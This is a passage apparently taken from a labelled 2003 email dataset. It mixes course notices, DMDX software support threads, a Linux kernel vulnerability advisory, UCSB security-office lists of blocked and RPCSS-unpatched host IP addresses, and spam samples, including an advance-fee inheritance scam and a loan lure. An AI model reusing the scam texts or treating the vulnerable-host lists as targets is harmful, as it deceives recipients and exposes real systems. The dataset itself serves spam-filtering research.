helix.mee.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.248 -- 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.83.64 ts448848.chemengr.ucsb.edu 128.111.83.195 fengli.chemengr.ucsb.edu 128.111.83.205 squeaker.chemengr.ucsb.edu 128.111.92.216 -- 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.156 host108-156.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.149 -- 128.111.138.160 -- 128.111.161.6 -- 128.111.164.209 turtle.mee.ucsb.edu 128.111.180.96 SM18096.resnet.ucsb.edu 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.9.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.9.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.19.64 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.31.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.33 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.116 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.27 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.116 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.99 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.183.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.78 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.12 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.134 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.115 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.118 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.248 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.242.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.106 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 44 RPCSS Vulnerable ............................. 45 DCOM Disabled ................................ 58 Not Vulnerable ............................... 2914 Errors ....................................... 15 TCP Port 135 Closed or Host Timeout .......... 62504 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Wed, 03 Dec 2003 11:57:59 -0600",Announcements," CS352h-ers, I wanted to repeat a few announcements from class yesterday: 1) I'm out of town at a conference, so my office hours for today (Wednesday) have been cancelled. 2) Office hours schedule for next week: Monday Dec 8 Keckler: noon-1:30 Sartor: 2-4pm Tuesday Dec. 9 Keckler: 10-noon Wed Dec. 10 Sartor: 10:30-noon 3) Don't forget the final exam is scheduled for Wed. Dec 10, from 2-5pm in our normal classroom. 4) There is an optional no-penalty extension on the project. You must turn in your electronic pieces by 11:59pm on Monday Dec. 8. The written part is due noon on Tuesday Dec. 9. Please turn in the written part (one per team) to my assistant Gem Naivar in ACES 3.422. Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 John Brennan ,DMDX@psy1.psych.arizona.edu,"Wed, 03 Dec 2003 20:10:26 +0000",[DMDX] DMDX Fonts,"Hey all, Sorry about this again. It's just that when I try to run DMDX the message ""Font number -1 not found in font table"" keeps coming up. I've done everything I can think of with regard fonts (that I know of anyway). Any advice? I'm running it on Windows XP. ",0,0 James Colby Kraybill ,Central Services ,"Wed, 03 Dec 2003 14:24:11 -0800",Linux kernel vulnerability," This is a heads up for all Linux users, a root vulnerability has been discovered in all linux kernels before 2.4.23 and pre 2.6.0-test6 (SuSE 8.1 ships with 2.4.19, and RedHat 9 ships with a 2.4.20 derived kernel). The only way to exploit this is by using an existing account on the system. http://csua.org/u/54s ... Recently multiple servers of the Debian project were compromised using a Debian developers account and an unknown root exploit. Forensics revealed a burneye encrypted exploit. Robert van der Meulen managed to decrypt the binary which revealed a kernel exploit. Study of the exploit by the RedHat and SuSE kernel and security teams quickly revealed that the exploit used an integer overflow in the brk system call. Using this bug it is possible for a userland program to trick the kernel into giving access to the full kernel address space. This problem was found in September by Andrew Morton, but unfortunately that was too late for the 2.4.22 kernel release. This bug has been fixed in kernel version 2.4.23 for the 2.4 tree and 2.6.0-test6 kernel tree. For Debian it has been fixed in version 2.4.18-12 of the kernel source packages, version 2.4.18-14 of the i386 kernel images and version 2.4.18-11 of the alpha kernel images. ... --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 03 Dec 2003 14:24:34 -0700",[DMDX] Re: DMDX Fonts,"At 08:10 PM 12/3/2003 +0000, you wrote: >Hey all, >Sorry about this again. It's just that when I try to run DMDX the message >""Font number -1 not found in font table"" keeps coming up. I've done >everything >I can think of with regard fonts (that I know of anyway). Any advice? I'm >running it on Windows XP. Most likely the format of the file is corrupt. I'd save it as a .DOC file, exit Word to stop it cheating then save the file as an .RTF again. If that doesn't work email the .RTF file and I'll have a look at it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A hunch is creativity trying to tell you something. - Frank Capra",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 03 Dec 2003 21:42:09 +0000",[DMDX] Re: DMDX Fonts,"At 14:24 03/12/2003 -0700, you wrote: >At 08:10 PM 12/3/2003 +0000, you wrote: >>Hey all, >>Sorry about this again. It's just that when I try to run DMDX the message >>""Font number -1 not found in font table"" keeps coming up. I've done >>everything >>I can think of with regard fonts (that I know of anyway). Any advice? I'm >>running it on Windows XP. > > Most likely the format of the file is corrupt. I'd save it as a .DOC > file, exit Word to stop it cheating then save the file as an .RTF > again. If that doesn't work email the > .RTF file and I'll have a look at it. Or copy and paste as unformatted text into a text file in Notepad, save and close. Change the extension to RTF and open WordPad. This suddenly sounds familiar. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 335 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo",0,1 judy88@qianlong.com,DMDX@psy1.psych.arizona.edu,"Thu, 04 Dec 2003 19:21:23 -0700",[DMDX] Test VOX Failed,"Dear all, I met a problem when I use TestVOX in DMDX Ver 3.025. The message box showed ""Failed to Make Item 6 of Resource 3."", and I could use Audio Input. Could you help me to solve it? My computer operation system is WindowsXP (Chinese Version). Thanks. Rende ------------------------- ���������������� ������ http://www.chinasso.com ��������������������������20M�� http://mail.qianlong.com ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 04 Dec 2003 22:27:20 -0700",[DMDX] Re: Test VOX Failed,"At 07:21 PM 12/4/2003 -0700, you wrote: >Dear all, > >I met a problem when I use TestVOX in DMDX Ver 3.025. The message box >showed ""Failed to Make Item 6 of Resource 3."", and I could use Audio >Input. Could you help me to solve it? My computer operation system is >WindowsXP (Chinese Version). There should be another line of information after Failed to Make Item 6 of Resource 3 which should give me a better idea about what's going wrong. It's something about your version of windows rather than anything to do with your audio input and it's either got to do with the icon I use to indicate if the VOX is active (fixable) or something to do with the trackbars (way bad). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Bureaucrat, n.: A politician who has tenure. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 05 Dec 2003 10:45:44 -0700",[DMDX] 3.0.2.8," DMDX 3.0.2.8 is available that contains a slight change that will hopefully fix the problem that the Chinese version of XP is having with it's Test VOX dialog. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A hunch is creativity trying to tell you something. - Frank Capra ",0,0 Jeffery ,linuxusers@celestial.berkeley.edu,"Fri, 05 Dec 2003 19:17:30 +0100",is it me you looking for?,"Do not ignore me please, I found your email somewhere and now decided to write you. I am coming tbo your place in few weeks and thought we can meet each other. Let me know if you do not mind. I am a nbice pretty girl. Don't reply to this email. Email me direclty at bvab@popmailme.com ",1,0 """mathewarckerman@katamail.com"" ",mathewarckerman@katamail.com,"Sat, 06 Dec 2003 09:45:34 +0000",GOD Bless You,"Request for assistance. It is my pleasure to write you after much consideration since telephone communication can not be suitable enough to communicate to you at first. I am the only son of my father, late Chief Alfred Ackerman from Kwantal Zulu in Republic of South Africa (SA). I am 20yrs old. My father was a limited liability Cocoa and Gold merchant in Johannesburg South Africa before his untimely death after his business trip to Abidjan, C�te d'Ivoire, to negotiate on a cocoa and gold business he wanted to invest in Abidjan, C�te d'Ivoire. A Week after he came back from Abidjan, he was attacked with my mother by unknown assassins, which my mother died instantly but my father died after five days in a private hospital on that faithful afternoon. I didn't know that my father was going to leave me after I had lost my mother. But before he gave up the ghost, it was as if he knew he was going to die. He disclosed to me that he deposited the sum of 15,800,000,00 US Dollars (Fifteen million eight hundred thousand dollars) in a bank here in Abidjan, C�te d'ivoire.That the money was meant for his cocoa and Gold company he wanted to establish in Abidjan, C�te d'Ivoire though, according to my father he deposited the money in a confident account of the bank and he handed to me all the relevant documents of the deposited fund and instructed me to seek for a reliable and trust worthy business partner for my life time investment abroad. Now I have succeeded in locating the bank here in Abidjan, C�te d'Ivoire and I am soliciting for your assistance to help me to transfer this money out from Abidjan to your safe account abroad so that we will invest it in any meaningful lucrative business in your country because this is my only hope in life. Awaiting to hear from you so that we can discuss the modalities of this transaction. Please kindly contact me through email immediately for more discussion. Thanks for your kind attention. Yours sincerely, Mathew Arckerman. ",1,0 judy88@qianlong.com,DMDX@psy1.psych.arizona.edu,"Sat, 06 Dec 2003 02:37:10 -0700",[DMDX] TestVOX successfully in 3.0.2.8,"Now I can use TestVOX in DMDX 3.0.2.8 on Windows XP (Chinese Version). > DMDX 3.0.2.8 is available that contains a slight change that will >hopefully fix the problem that the Chinese version of XP is having with >it's Test VOX dialog. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > A hunch is creativity trying to tell you something. > - Frank Capra > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ------------------------- ���������������� ������ http://www.chinasso.com ��������������������������20M�� http://mail.qianlong.com ",0,1 Charlene RI Aranda ,DMDX@psy1.psych.arizona.edu,"Sat, 06 Dec 2003 09:57:22 +0100",forget debts,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! We will do the searching for you, use our special arrangements with lenders to find you the loan that YOU need. Give us your details and we will have them contact you with *no* obligation. You will be contacted by up to three lenders within the next 72 hours, at the time and number that you specify. We can call you at home or at work, and you tell us when. We can help. http://saty.hqqg.com/approved/ gyboxohehosicobiranaqumcofabehrytucygy ",1,1 Rende SHUI ,DMDX@psy1.psych.arizona.edu,"Sun, 07 Dec 2003 10:44:25 +0800",[DMDX] Can DMDX record more than 2 responses?,"Dear all, I want subject make one of four responses in a trial, but DMDX has only positive and negative response. I was wandering how I can run this kind experiment in DMDX. Rende ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 06 Dec 2003 21:27:19 -0700",[DMDX] Re: Can DMDX record more than 2 responses?,"At 10:44 AM 12/7/2003 +0800, you wrote: >Dear all, > >I want subject make one of four responses in a trial, but DMDX has only >positive and negative response. I was wandering how I can run this kind >experiment in DMDX. There are a number of ways to do it, easiest is to look at the keyword. If you don't like .ZIL data files there are other methods. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Bureaucrat, n.: A politician who has tenure.",0,0 xxfjx.2lsem@hotmail.com,DMDX@psy1.psych.arizona.edu,"Sun, 07 Dec 2003 20:59:10 +0800",给你一次炒老板鱿鱼的机会！2006-04-25 15:39:43 DMDX@psy1.psych.arizona.edu,"charset=""GB2312"" ",1,0 """Helman, Shaun"" ","""'DMDX@psy1.psych.arizona.edu'"" ","Mon, 08 Dec 2003 14:25:48 -0000",[DMDX] dmdx won't work on xp?,"Hi all new to using this software I have found that when I try to run it on xp machines (Packard Bell desktop and also a Toshiba laptop) running windows XP, it just freezes on a blank screen whenever I try to run a file. Any ideas why? Shaun ",0,0 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 08 Dec 2003 10:05:52 -0600",project issues," Folks, A small number of issues have come to my attention. These are all problems that should have come to light 5 weeks ago when you had the assignment to help debug the assembler and simulators. At this point, they will not be fixed for this semester, so you will all have to figure out ways to work around the problems. This may mean altering your test programs so that the issue does not manifest itself. 1) Bugs in the assembler or simulators: > We're havin trouble getting the assembler to compile JSRR > instructions. To our understanding, the syntax was JSRR BaseR, > OFFSET. However, the assembler won't recognize ""JSRR R0, #2"". Is this > a bug or are we doing something wrong? The assembler has a bug such that it will not recognize the immediate offset for the JSRR instruction. ""JSRR R0"" should work though. > Here's the repro of the bug we found in the simxlc3 code. > > .ORIG $3000 > LD R2, SecondValue ;the value in R2 should be FFB3 > ASH R3, R2, #-3 ;the value in R3 is reported to be FFD9, > ;but it should be fff6 > ;in binary: > ;ffb3 = 1111111110110011 > ;ffd9 = 1111111111011001 > ;fff6 = 1111111111110110 > HALT > SecondValue .FILL $ffb3 > .END There appears to still be a problem in LC35 ISA simulator (not verilog) for ASH. > We have two problems. First, the JSRR instruction does not work in the > simulator. It jumps to PC+BaseReg instead of jumping to BaseReg+Offset. > > EX: JSRR R3 ;Instruction at PC=3000, R3=3003 > ; After executing, PC = 6003 Another apparent issue with the JSRR in the instruction simulator. > Also, there seems to be a specification error regarding branches. In the > initial LC35 verilog code we got from you, all instructions, including > branches, wrote to the NZP registers. For branches, the target branch > address was used to determine the bits of the NZP. However, in many of > the test programs, it was assumed that the branch does not change the > value of the NZP. Also, the simulator also assumes that the branches do > not change the value of the NZP registers. What should we do with this > dilemma? The original LC35 verilog code was incorrect. 2) There have been some minor problems uncovered in the test programs submitted along with HW #4. If your name is mentioned below, you might want to take a look at the test program in question. If you don't have time until after finals, no problem. > I recieved an error attempting to compile the testbench.asm in the dustbin > folder. --------- > We believe that the description in Mei-Mei and David's arith.asm is > incorrect. > > Our value of R5 is 000a, or 10, which would be the result of shifting 42 > to the right twice. Could you please look over it? > > Also, I believe the description of my program (log2.asm) is incorrect it > should be ""otherwise known as ceiling(log2(x))"". ----- > Joon Hao Chuah and Laurel Issen's program allinst test seems to have a > small problem in the description. > > We believe that r4 should hold 301a following execution instead of > 3018. They must have gotten missed up with all the commenting it semms > like they did toward the end of the program. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 08 Dec 2003 10:48:18 -0700",[DMDX] Re: dmdx won't work on xp?,"At 02:25 PM 12/8/2003 +0000, you wrote: >Hi all > >new to using this software I have found that when I try to run it on xp >machines (Packard Bell desktop and also a Toshiba laptop) running windows >XP, it just freezes on a blank screen whenever I try to run a file. Any >ideas why? Perhaps it's waiting for a request? Does it respond to ESC? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A hunch is creativity trying to tell you something. - Frank Capra ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id LAA20627 for ; Mon, 8 Dec 2003 11:53:35 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id LAA16924 for ; Mon, 8 Dec 2003 11:53:35 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1ATRRl-000BmD-VB; Mon, 08 Dec 2003 11:53:33 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1ATRRS-000Blj-95; Mon, 08 Dec 2003 11:53:14 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1ATRRR-000Ble-0X; Mon, 08 Dec 2003 11:53:13 -0800 Message-ID: <3FD4D6A6.1060502@UCSB.edu> Date: Mon, 08 Dec 2003 11:53:10 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031027 Thunderbird/0.3 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts (and those that may be blocked soon) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Blocked Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.43 dhcp20-43.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.33.155 SC33155.resnet.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.55.102 olivia.cs.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.248 -- 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.149 -- 128.111.138.160 -- 128.111.161.6 -- 128.111.164.209 turtle.mee.ucsb.edu 128.111.180.96 SM18096.resnet.ucsb.edu 128.111.185.230 ra.ece.ucsb.edu 128.111.199.90 host199-90.lsdepts.ucsb.edu 128.111.220.127 dhcp127.nceas.ucsb.edu 128.111.221.52 dhcp17.mat.ucsb.edu 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.9.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.97 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.16 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.33 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.178 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.190 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.32 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.78 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.184.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.115 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.225 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.106 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 45 RPCSS Vulnerable ............................. 49 DCOM Disabled ................................ 67 Not Vulnerable ............................... 3292 Errors ....................................... 26 TCP Port 135 Closed or Host Timeout .......... 62100 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 08 Dec 2003 16:57:12 -0600",Final exam," Folks, I dug up a couple of practice problems on out-of-order execution and branch prediction. Try exercises 3.1, 3.9, and 3.15 on the handout included in my next message. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 